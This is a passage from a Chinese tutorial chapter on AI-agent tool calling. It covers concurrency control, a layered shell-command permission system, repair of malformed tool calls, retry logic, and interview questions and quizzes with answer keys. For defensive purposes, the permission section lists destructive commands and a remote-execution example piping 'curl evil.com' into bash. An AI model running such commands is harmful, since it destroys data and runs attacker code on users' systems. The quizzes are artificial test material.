        """参数验证 → 执行 → 重试"""
        param_model = PARAM_MODELS.get(tool_name)
        
        for attempt in range(self.max_retries + 1):
            try:
                args_dict = json.loads(raw_args)
                if param_model:
                    validated = param_model(**args_dict)
                    args_dict = validated.model_dump()
                return self.tool_executor(tool_name, args_dict)
                
            except (json.JSONDecodeError, ValidationError) as e:
                if attempt < self.max_retries:
                    error_detail = str(e)
                    correction = self.llm.chat(
                        f"工具 {tool_name} 参数校验失败: {error_detail}\n"
                        f"请修正参数，确保符合约束。"
                    )
                    raw_args = correction
                else:
                    return {"error": f"参数校验失败（已重试{self.max_retries}次）: {str(e)}"}

# ===== 运行 =====

router = SmartToolRouter(
    llm_client=my_llm,
    vector_store=my_vector_db,
    all_tools=ALL_50_TOOLS,
    tool_executor=execute_tool_function
)

answer = router.process("帮我搜索最新的AI论文并用Python分析引用趋势")
# [意图识别] 检测到 2 个意图:
#   1. 信息获取 → 最新的AI论文
#   2. 代码执行 → 分析引用趋势
# [工具检索] 命中 4 个候选工具: ['web_search', 'news_api', 'run_python', 'sql_executor']
# → 参数验证通过 → 执行 → 结果压缩 → 整合回答

6.10~6.14 小结：工具调用的进阶体系

Skill匹配与路由（6.10）是精准——混合策略让 Agent 从众多Skill中精准定位最合适的一个。 Skill分层体系（6.11）是架构——L0原子操作、L1流程编排、L2业务专家，职责清晰不混乱。 Skill沉淀机制（6.12）是成长——自动/半自动/手动三种方式，让系统越用越聪明。 意图识别（6.10）是入口——理解用户想做什么，才能选到对的工具。 上下文工程（6.11）是效率——JIT加载和 Tool RAG 让 LLM 只看相关的工具描述，减少 token 浪费。 消息压缩（6.12）是控制——多轮工具调用会 Context 膨胀，压缩策略保持 Context 精瘦。 结构化输出（6.13）是安全——Pydantic 验证 + 重提示循环，杜绝参数格式错误。 实战系统（6.14）是闭环——从意图到回答的全链路，每个环节都有策略保障。

一句话总结：好的工具调用不是"把所有工具丢给 LLM 让它选"，而是精心设计匹配→分层→沉淀→意图→检索→验证→压缩的每一步。

6.15 工程深度：工具并发控制与弱模型兼容

前面的章节介绍了工具调用的原理和 Skill 体系，但在生产环境中，Agent 的工具系统还面临三个工程挑战：并发控制（多个工具能不能同时执行）、权限安全（危险命令怎么拦截）、弱模型兼容（不是所有模型都输出标准的 tool_calls）。本节基于 WaLiCode 项目的真实实现，讲解这三个关键设计。

6.15.1 工具并发安全分类

简单 Agent 串行调用工具就够了——一次只调一个，等结果回来再调下一个。但生产级 Agent 面临的场景是：AI 一次可能输出 3-5 个工具调用（比如同时读取 3 个文件），如果串行执行，用户要等 3 倍的时间。

但不是所有工具都能并行执行。WaLiCode 按安全性将工具分为三类：

分类	策略	示例工具	判断依据
始终可并发	多个同时执行	read_file, search_code, read_directory, GlobTool, GrepTool	只读操作，无副作用，不修改任何状态
始终串行	排队执行	write_file, FileEditTool, delete_file	写操作，可能互相影响（如先写后删）
动态判断	按命令内容判断	BashTool（run_terminal_cmd）	ls 可并发，rm 需串行，git status 可并发，git push 需串行

动态判断的核心是对 Bash 命令做语义分析：

// 伪代码：BashTool 并发安全判断
function isBashCommandConcurrentSafe(command: string): boolean {
  const cmd = command.trim().split(/\s+/)[0]; // 取命令名

  // 白名单：只读命令，可并发
  const SAFE_COMMANDS = new Set([
    'ls', 'cat', 'grep', 'find', 'head', 'tail', 'wc',
    'git status', 'git log', 'git diff', 'git show',
    'docker ps', 'docker logs', 'kubectl get', 'kubectl describe'
  ]);

  // 黑名单：写命令，需串行
  const DANGEROUS_COMMANDS = new Set([
    'rm', 'mv', 'cp', 'chmod', 'chown', 'mkdir', 'rmdir',
    'git push', 'git commit', 'git reset',
    'docker rm', 'kubectl delete', 'kubectl apply'
  ]);

  if (SAFE_COMMANDS.has(cmd)) return true;
  if (DANGEROUS_COMMANDS.has(cmd)) return false;

  // 未知命令：保守策略，串行执行
  return false;
}

6.15.2 流式并发执行机制

传统做法是等 AI 输出完所有内容后，再统一执行工具调用。但 WaLiCode 采用流式并发——AI 流式输出时，工具调用一到就立即开始执行，不等 AI 输出完。

流程：AI 流式输出 → 收到 tool_call → 并发安全分类 → (只读)并发执行(read_file等) / (写操作)排队串行(write_file等) → 结果 yield 给 UI

关键设计点：

• 立即执行：工具调用一到就执行，不等 AI 输出完。3 个 read_file 并行只需 1 倍时间
• 按完成顺序 yield：哪个工具先完成就先返回结果，保证 UI 实时更新
• 中断机制：AwaitingUserConfirmation（需用户确认）时立即中断所有排队工具

// 伪代码：ToolConcurrencyController 核心结构
class ToolConcurrencyController {
  private concurrentQueue: ToolCall[] = [];  // 并发队列
  private serialQueue: ToolCall[] = [];       // 串行队列
  private running: Map<string, AbortController> = new Map();

  addTool(toolCall: ToolCall, index: number): UIToolCall {
    if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
      // 只读工具：立即并发执行
      this.executeConcurrent(toolCall);
    } else {
      // 写工具：排队串行执行
      this.serialQueue.push(toolCall);
      this.tryExecuteNextSerial();
    }
    return this.toUIToolCall(toolCall, index);
  }

  private async executeConcurrent(toolCall: ToolCall) {
    const controller = new AbortController();
    this.running.set(toolCall.id, controller);
    try {
      const result = await executeTool(toolCall, controller.signal);
      this.onToolComplete(toolCall, result);
    } finally {
      this.running.delete(toolCall.id);
    }
  }

  private async tryExecuteNextSerial() {
    if (this.serialRunning) return;  // 已有串行任务在执行
    const next = this.serialQueue.shift();
    if (!next) return;
    this.serialRunning = true;
    try {
      const result = await executeTool(next);
      this.onToolComplete(next, result);
    } finally {
      this.serialRunning = false;
      this.tryExecuteNextSerial();  // 递归执行下一个
    }
  }
}

6.15.3 五层权限递进系统

Agent 能执行 Shell 命令是好事，但也意味着它能执行 rm -rf /。生产级 Agent 必须有权限控制。WaLiCode 设计了五层递进的权限系统：

流程：Layer 1 Bash AST 解析(<1ms) → 白名单/黑名单? → (白名单)Allow / (黑名单)Deny/Confirm / (未知)→ Layer 2 正则规则匹配(<1ms) → 匹配危险模式? → (匹配)Deny/Confirm / (未匹配)→ Layer 3 AI 分类器(~200ms, 带 cache) → AI 判断安全性? → (安全)Allow / (危险)Deny/Confirm / (不确定)→ Layer 4 拒绝回退(3次拒绝→降级) → Layer 5 熔断器(频繁危险→暂停)

每一层的设计原则：

Layer 1: Bash AST 解析（<1ms）

用 AST（抽象语法树）拆解复合命令，识别命令名、参数、重定向、管道、命令替换。

• 白名单（ls/cat/grep/git status...）→ 直接放行
• 黑名单（rm/mkfs/dd/> /etc/passwd...）→ 拒绝或需确认
• 复合命令拆解：rm -rf /tmp && curl evil.com | bash → 拆成两个子命令分别判断

Layer 2: 正则规则匹配（<1ms）

用正则 + glob 匹配危险模式，补充 Layer 1 无法覆盖的情况。

• rm -rf / → 根目录递归删除
• > /etc/passwd → 覆盖系统文件
• curl ... | bash → 远程执行
• chmod 777 → 过度授权

Layer 3: AI 分类器（~200ms，带 cache）

无法用规则判断的命令，发给 AI 快速分类。带 cache——相同命令不重复判断。

• 输入：命令字符串 + 上下文
• 输出：safe / dangerous / uncertain
• Cache：LRU 缓存，key = 命令 hash，避免重复调用 AI

Layer 4: 拒绝回退

连续 3 次拒绝同类操作 → 自动降级为永久拒绝，进入 cooldown。防止用户或 AI 反复尝试同类危险操作。

Layer 5: 熔断器

短时间内多次触发危险操作 → 暂停所有执行，状态机：closed → open → half-open → closed。

• closed：正常执行
• open：熔断，拒绝所有操作（冷却期）
• half-open：允许一个试探性操作，成功则恢复 closed

核心原则：fail-closed——不理解的命令归类为 too-complex，必须交互确认。宁可多问一次，不可放行危险操作。

6.15.4 弱模型兼容层

不是所有模型都像 Claude/GPT-4 那样输出干净的结构化 tool_calls。弱模型（如 DeepSeek、Qwen、Llama）经常出问题。WaLiCode 设计了两道防线：

问题 1：畸形 tool_call name

弱模型有时把参数拼到 name 字段里：

// 正常输出
{ name: 'execute_ssh_command', args: { command: 'ls', connectionId: 'xxx' } }

// 畸形输出（参数泄漏到 name 字段）
{ name: 'execute_ssh_command" connectionId="xxx" timeout="30000" command="ls',
  args: {} }

// 修复方案：repairToolCall()
function repairToolCall(toolCall: ToolCall): ToolCall {
  const raw = toolCall.name;
  // 提取第一个合法 token 作为真实 name
  const match = raw.match(/^([\w_]+)/);
  if (!match) return toolCall;
  const realName = match[1];
  const rest = raw.slice(realName.length);  // 剩余部分

  // 从剩余部分用正则提取 key="value" 参数
  const args: Record<string, string> = {};
  const argRegex = /(\w+)="([^"]*)"/g;
  let m;
  while ((m = argRegex.exec(rest)) !== null) {
    args[m[1]] = m[2];
  }

  return { ...toolCall, name: realName, args: { ...args, ...toolCall.args } };
}

问题 2：文本内嵌工具调用

弱模型有时不输出结构化 tool_calls，而是在文本中直接写工具调用：

// AI 文本输出（无结构化 tool_calls）
// "我来查看一下文件内容：read_file(path="/tmp/test.py")"
// "然后搜索关键词：search_code(query="TODO")"

// 修复方案：parseToolCallsFromText()
function parseToolCallsFromText(text: string): ToolCall[] {
  const calls: ToolCall[] = [];
  // 匹配 toolName(key="value", key2="value2") 格式
  const regex = /(\w+)\(([^)]*)\)/g;
  let match;
  while ((match = regex.exec(text)) !== null) {
    const name = match[1];
    const argsStr = match[2];
    const args: Record<string, string> = {};

    // 解析参数
    const argRegex = /(\w+)="([^"]*)"/g;
    let m;
    while ((m = argRegex.exec(argsStr)) !== null) {
      args[m[1]] = m[2];
    }

    calls.push({ id: generateId(), name, args });
  }
  return calls;
}

这两道防线确保 Agent 能兼容从 Claude 到 Llama 的各种模型——不是所有用户都用顶级模型。

6.15.5 指数退避重试

工具执行可能遇到临时性错误（429 限流、503 服务不可用、网络超时）。WaLiCode 使用指数退避重试：

async function executeToolWithRetry(
  toolCall: ToolCall,
  maxRetries: number = 3  // agent 模式 5 次
): Promise<ToolResult> {
  let lastError: Error;

  for (let attempt = 0; attempt <= maxRetries; attempt++) {
    try {
      return await executeTool(toolCall);
    } catch (err) {
      lastError = err;

      // 判断是否可重试
      if (!isRetryable(err)) throw err;
      if (attempt === maxRetries) throw err;

      // 指数退避：1s → 2s → 4s → 8s
      const delayMs = Math.pow(2, attempt) * 1000;
      await abortableSleep(delayMs);
    }
  }
  throw lastError;
}

function isRetryable(err: Error): boolean {
  if (err instanceof HTTPError) {
    return [429, 500, 502, 503, 504].includes(err.status);
  }
  return err instanceof NetworkError || err instanceof TimeoutError;
}

重试策略的关键决策：

• 哪些错误可重试：429（限流）、5xx（服务端错误）、网络超时。400/401/403 不重试（请求本身有问题）
• 退避间隔：2^n 秒，避免雪崩式重试压垮服务端
• 最大重试次数：chat 模式 3 次，agent 模式 5 次（agent 模式更宽容因为用户期望自动恢复）

6.15 核心要点

工具并发控制：只读并发、写串行、Bash 动态判断——在安全的前提下最大化并行度。 五层权限递进：AST → 规则 → AI → 拒绝回退 → 熔断器，分层递进，每层可独立放行或拒绝，fail-closed 原则。 弱模型兼容：畸形修复 + 文本解析，让 Agent 不依赖顶级模型也能工作。 指数退避重试：临时错误自动重试，指数退避避免雪崩，区分可重试和不可重试错误。

面试八股

Q1: Agent 为什么要使用工具？LLM 本身不够吗？

A： LLM 有固有的能力边界：① 无法获取实时信息（训练截止后的知识）；② 无法执行代码和精确计算；③ 无法读写文件和数据库；④ 无法与外部服务交互。工具弥补了这些边界。LLM 是大脑负责推理决策，工具是手脚负责执行。没有工具的 Agent 只能"纸上谈兵"。

Q2: Function Calling 的完整流程是什么？

A： ① 定义工具的 JSON Schema（名称、描述、参数）② 将工具定义和用户请求一起传给 LLM ③ LLM 判断是否需要工具，需要则输出结构化函数调用（函数名+参数JSON）④ Agent 框架解析函数调用，实际执行对应函数 ⑤ 将工具返回结果回传给 LLM ⑥ LLM 基于结果生成自然语言回答给用户。关键：LLM 只决定"调用什么"，不实际执行。执行由框架完成。

Q3: Tool 和 Skill 的区别是什么？

A： Tool：原子工具，单个函数，如 search(query)、write_file(path)。粒度细，可组合。Skill：技能，多个工具 + Prompt + 流程的组合包。如"发邮件技能" = 起草 + 查联系人 + 发送。粒度粗，可直接使用。类比：Tool 是螺丝刀，Skill 是工具箱。Skill 让 Agent 不用每次从头推理工具组合，直接调用预设流程。

Q4: Skill 匹配的混合策略是什么？为什么单一策略不够？

A： 混合策略：规则匹配优先（确定性最高）→ 语义匹配兜底（覆盖面最广）→ 关键词匹配补充（速度最快）。三种策略互补而非互斥。单一策略的问题：关键词匹配对隐式表述无效（"外面冷不冷"不含"天气"）；语义匹配对精确模式不如规则高效（"帮我发邮件"还要算相似度）；规则匹配无法覆盖未预见的新表述。混合策略把各策略的优势最大化，短板互相弥补。

Q5: 三层 Skill 体系中，L1 组合层的职责是什么？

A： L1 组合层的职责是工作流编排——组合多个 L0 原子操作，按步骤顺序执行完整流程。如代码审查流程 = 读文件(L0) → 静态分析(L0) → 搜索漏洞(L0) → 生成报告。L1 不是做原子操作（那是L0的职责），也不是理解业务语义（那是L2的职责）。L1 是"流程管家"——确保步骤顺序正确、依赖关系正确、中间结果正确传递。

Q6: Skill 自动沉淀为什么要求"3次以上成功率>80%"？如何避免沉淀低质量 Skill？

A： 3次阈值：1次可能是偶然，2次可能是巧合，3次以上才说明操作模式确实稳定可复用。80%成功率：成功率低于80%说明操作模式本身不够可靠，沉淀出来反而增加系统负担。80%是经验阈值，太低会沉淀低质量Skill，太高会遗漏有价值的模式。避免低质量沉淀的保障：① 成功率阈值过滤不稳定模式；② 沉淀后持续监控质量指标（成功率、响应时间、用户满意度），低于标准自动降级或淘汰；③ 半自动沉淀需用户确认后才正式注册；④ 版本管理支持回滚到稳定版本。

Q7: 当 Agent 有大量工具时，如何高效选择？

A： 三种策略：① 全量传入：适合 20 个以内工具，简单直接。② 语义检索：工具描述做 embedding，查询时检索 Top-K 相关工具。适合 20~100 个工具。③ 路由分层：先路由到工具类别，再在类别内选择。适合 100+ 工具。核心思想：减少每次传给 LLM 的工具数量，降低 token 消耗，提升选择准确率。

Q8: MCP 协议解决了什么问题？与 Function Calling 是什么关系？

A： 解决的问题：工具定义碎片化。各框架自定义工具格式，一个工具要适配多个框架。与 Function Calling 的关系：不冲突。Function Calling 是 LLM 层面的能力（让模型输出结构化调用），MCP 是协议层面的标准（让工具定义和发现统一）。MCP Server 定义工具 → Agent 框架通过 MCP 获取工具描述 → 传给 LLM 做 Function Calling。

Q9: 意图识别在工具路由中的作用是什么？隐式意图如何处理？

A： 作用：意图识别是工具路由的"入口"，决定了 Agent 选择哪类工具。四类意图（信息获取/代码执行/文件操作/通信交互）对应四类工具集。隐式意图：用户不会总是明确说"我要搜索"。"外面冷不冷"和"查天气"表面不同但意图相同。隐式意图识别需要理解用户想达成的目标而非关键词匹配——生产环境通常用 LLM 做意图分类而非简单关键词。复合意图："帮我搜索并用Python分析"包含两个意图，需要拆解后依次执行，后置意图可能依赖前置意图的结果。

Q10: 上下文工程如何优化工具管理？JIT加载和Tool RAG的核心思路是什么？

A： 核心思路：给 LLM "刚好够用"的信息，不多不少。50个工具的全量描述消耗5000 token，但LLM只会用到1~3个工具。JIT加载：不一次性传入所有工具描述，按意图只加载相关的3~5个工具。有效信号密度从6%提升到接近100%。Tool RAG：把工具描述做embedding存入向量库，请求来时检索最相关的Top-K工具，只把这几个传给LLM。类似文档RAG但检索的是工具而非文档。对比：全量传入5000 token/65%准确率 → JIT/RAG 300 token/85%准确率，token节省90%+，准确率提升20%+。

Q11: 多轮工具调用的Context膨胀问题如何解决？

A： 多轮工具调用会让Context从100 token膨胀到数千token，原始请求占比不到2%。三种压缩策略：① 摘要替代原始结果：不让工具的完整输出进入Context，而是用LLM生成200 token的摘要替代2000 token的原始结果。② 选择性保留关键字段：天气API返回20个字段，只保留温度+描述+风速这3个用户关心的字段。③ 向量库归档：完整结果存入向量数据库，Context中只放摘要+引用ID。需要细节时按ID检索。核心原则：记要点，存细节——要点放Context（短期），细节放向量库（长期）。

Q12: 怎么保证 Agent 的工具调用可靠性？工具调用不稳定、参数报错怎么解决？

A： 工具调用不稳定、参数报错是项目初期的常见问题，我从三个层面做了优化：① 语义层面：开启 JSON 模式，做强类型约束，避免大模型输出格式混乱。用 Pydantic 在工具执行前拦截参数类型错误，确保参数结构可控。② 逻辑层面：加入人工确认机制（Human-in-the-Loop）。高危工具（删库、转账等）操作必须人工确认后才执行，防止 Agent 自主执行不可逆的危险操作。LangGraph 的 Checkpoint + interrupt_before 机制让这种暂停-审批-恢复变得开箱即用。③ 异常层面：配置自动重试修复逻辑。一旦工具参数报错，就把错误信息返给大模型，让其自主修正参数重新调用。形成"出错→反思→修正"的自闭环。重试次数设上限（2~3次），超限后降级兆底而非无限重试。面试要点：三层保障要讲全——语义层防格式混乱、逻辑层防误操作、异常层防崩溃，体现"防御纵深"思维。

课后练习

第 1 题（单选）

Function Calling 中，谁负责实际执行工具函数？

A. LLM 自己执行 B. Agent 框架执行 C. 用户手动执行 D. 操作系统执行

答案与解析

答案：B

LLM 只决定"调用什么工具、传什么参数"，实际执行由 Agent 框架完成。LLM 不直接执行代码，只输出结构化调用指令。

第 2 题（单选）

工具定义中使用什么格式描述工具的参数？

A. XML B. YAML C. JSON Schema D. 正则表达式

答案与解析

答案：C

Function Calling 使用 JSON Schema 描述工具参数，包括参数类型、描述、是否必填等。LLM 通过这些描述理解工具能力。

第 3 题（单选）

Skill 和 Tool 的关系可以类比为？

A. 零件和整机 B. 螺丝刀和工具箱 C. 函数和变量 D. 数据库和表

答案与解析

答案：B

Tool 是原子工具（螺丝刀），Skill 是多个工具+Prompt+流程的组合包（工具箱）。Skill 让 Agent 直接调用预设流程。

第 4 题（单选）

当 Agent 有 100+ 工具时，最适合的工具选择策略是？

A. 全量传入 LLM B. 语义检索 Top-K 工具 C. 路由分层选择 D. 随机选择

答案与解析

答案：C

100+ 工具适合路由分层：先路由到工具类别（信息类/代码类/文件类），再在类别内用 LLM 选择。全量传入 token 消耗太大，语义检索适合中等规模。

第 5 题（单选）

以下哪个不是 Agent 工具调用的典型应用场景？

A. 搜索互联网获取实时信息 B. 执行 Python 代码做计算 C. 训练新的 LLM 模型 D. 发送邮件通知用户

答案与解析

答案：C

训练新 LLM 需要大量 GPU 资源和很长时间，不适合 Agent 实时工具调用。其他三项都是常见的工具调用场景。

第 6 题（多选）

以下哪些是 Function Calling 相比 Prompt 工程解析的优势？（多选）

A. 输出格式更可靠（模型层面训练过） B. 支持并行调用多个函数 C. 不再需要写 System Prompt D. 工具描述更结构化（JSON Schema）

答案与解析

答案：A、B、D

Function Calling 仍需要 System Prompt（设定 Agent 行为），但它提供了更可靠的格式输出、并行调用支持和结构化工具描述。

第 7 题（多选）

一个完整的 Skill（技能）通常包含哪些组成部分？（多选）

A. 一组工具 B. 专用 Prompt C. 执行流程 D. 训练数据集

答案与解析

答案：A、B、C

Skill = 工具 + Prompt + 流程。不需要训练数据集，Skill 是基于现有 LLM 能力的组合封装。

第 8 题（多选）

关于 MCP 协议，以下说法正确的是？（多选）

A. MCP 统一了工具的定义和发现接口 B. 一个 MCP Server 可被多个框架复用 C. MCP 替代了 Function Calling，不需要 LLM 参与 D. MCP 使用 JSON-RPC 2.0 通信

答案与解析

答案：A、B、D

MCP 没有替代 Function Calling，而是标准化了工具的接口层。LLM 仍然通过 Function Calling 决定调用什么工具，MCP 负责工具的定义和执行。

第 9 题（单选）

用户说"外面冷不冷"，Agent应识别为哪种意图类型？

A. 代码执行 B. 文件操作 C. 信息获取 D. 通信交互

答案与解析

答案：C

"外面冷不冷"虽然没提"查天气"，但隐式意图是获取天气信息。意图识别的核心是理解用户想达成的目标，而非关键词匹配。

第 10 题（单选）

Tool RAG检索策略的核心思路是什么？

A. 把所有工具描述一次性传给LLM B. 将工具描述做embedding存入向量库，请求时检索Top-K相关工具 C. 按工具名称排序后逐个传给LLM D. 让用户手动选择需要的工具

答案与解析

答案：B

Tool RAG 与文档 RAG 类似，把工具描述做 embedding 存入向量库，请求来时检索最相关的 Top-K 工具，只把这几个传给 LLM。减少 token 消耗，提升选择准确率。

第 11 题（单选）

工具结果压缩策略中，"向量库归档详细结果"的做法是什么？

A. 删除所有工具输出只保留最后一轮 B. 完整结果存入向量库，Context中只保留摘要和引用ID C. 把工具输出直接存入本地文件不回传LLM D. 让LLM记住所有原始结果不做任何压缩

答案与解析

答案：B

向量库归档策略：完整结果存入向量数据库，Context中只放摘要+引用ID。后续需要细节时通过引用ID精确检索。这样Context保持精瘦，细节不丢失。

第 12 题（多选）

关于Pydantic验证工具参数和错误重提示，以下说法正确的是？（多选）

A. Pydantic可以在工具执行前拦截参数类型错误 B. 参数校验失败时应直接抛异常终止整个流程 C. 重提示LLM修正参数时，应告知具体错误信息（如哪个字段、什么约束） D. 重试次数应设上限（2~3次），超限后降级兜底而非无限重试

答案与解析

答案：A、C、D

参数校验失败不应直接终止流程（B选项错），而是把具体错误反馈给LLM让其修正。重试要有上限，超限后用默认值填充或跳过可选参数作为降级兜底。

第 13 题（单选）

Skill 匹配策略中，哪种策略的准确率最高？

A. 关键词匹配（速度快但覆盖面窄） B. 语义匹配（embedding相似度） C. 规则匹配（正则/条件匹配） D. 混合策略（规则优先+语义兜底+关键词补充）

答案与解析

答案：D

混合策略综合了三种方法的优势：规则匹配处理高确定性场景（准确率95%+），语义匹配兜底模糊表述（准确率80~90%），关键词补充边缘场景。单一策略都有盲区，混合策略准确率可达90%以上。

第 14 题（单选）

三层 Skill 体系中，L1 组合层的主要职责是？

A. 原子操作（单个工具调用） B. 流程编排（组合L0原子操作按步骤执行） C. 业务理解（领域专家级的语义判断） D. 用户界面（交互和展示）

答案与解析

答案：B

L1 组合层的职责是工作流编排——组合多个 L0 原子操作，按步骤顺序执行完整流程。原子操作是L0的职责，业务理解是L2的职责，L1只做流程编排。

第 15 题（多选）

Skill 自动沉淀的触发条件为什么是"3次以上成功率>80%"？以下说法正确的是？（多选）

A. 1次可能是偶然，3次以上说明操作模式稳定可复用 B. 成功率80%是最低阈值，低于此说明模式不可靠 C. 阈值越高越好，应该设为100%成功率才沉淀 D. 沉淀后需持续监控质量指标，低于标准应降级或淘汰

答案与解析

答案：A、B、D

1次确实可能是偶然，3次以上才说明模式稳定（A正确）。80%是经验最低阈值，太低会沉淀低质量Skill（B正确）。但100%过于严苛，会遗漏有价值的模式（C错误）。沉淀后持续监控是必要的质量保障（D正确）。

第 16 题（多选）

Skill 分层体系中，不分层会导致哪些问题？（多选）

A. 职责混淆：原子操作和业务逻辑混在一起 B. 维护困难：修改底层会影响所有上层 C. 性能浪费：简单任务调用复杂Skill消耗过多token D. 安全性提升：所有Skill在同一层级更方便权限管理

答案与解析

答案：A、B、C

不分层导致职责混淆（A）、维护困难（B）和性能浪费（C）。D选项错误——不分层反而不利于权限管理，分层后可以按层级控制访问权限（如L0内部工具不允许外部直接调用）。